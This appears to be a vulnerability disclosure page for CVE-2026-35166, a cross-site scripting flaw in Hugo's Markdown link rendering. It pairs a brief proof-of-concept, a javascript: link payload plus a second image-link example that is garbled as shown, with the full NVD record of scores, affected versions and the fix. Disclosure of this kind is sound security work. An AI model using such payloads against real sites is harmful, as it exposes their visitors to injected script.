CVE-2026-35166

# PoC for CVE-2026-35166 # Malicious Markdown content to be rendered by Hugo # Example 1: XSS via javascript protocol in link [Click Me](javascript:alert('CVE-2026-35166')) # Example 2: XSS via image link [)](http://example.com)

{"cve": {"id": "CVE-2026-35166", "sourceIdentifier": "[email protected]", "published": "2026-04-06T18:16:43.060", "lastModified": "2026-04-20T18:34:45.460", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Hugo is a static site generator. From 0.60.0 to before 0.159.2, links and image links in the default markdown to HTML renderer are not properly escaped. Hugo users who trust their Markdown content or have custom render hooks for links and images are not affected. This vulnerability is fixed in 0.159.2."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gohugo:hugo:*:*:*:*:*:linux:*:*", "versionStartIncluding": "0.60.0", "versionEndExcluding": "0.159.2", "matchCriteriaId": "D9199A95-23E0-43BE-8F0C-C521A7455819"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gohugo:hugo:*:*:*:*:*:macos:*:*", "versionStartIncluding": "0.60.0", "versionEndExcluding": "0.159.2", "matchCriteriaId": "417A61AB-2317-42C3-9961-81C1DFB7C6DB"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gohugo:hugo:*:*:*:*:*:windows:*:*", "versionStartIncluding": "0.60.0", "versionEndExcluding": "0.159.2", "matchCriteriaId": "8576A7CA-0166-4BC1-B2C8-CB53588E4CAC"}]}]}], "references": [{"url": "https://github.com/gohugoio/hugo/security/advisories/GHSA-mcv8-8m8x-48pg", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}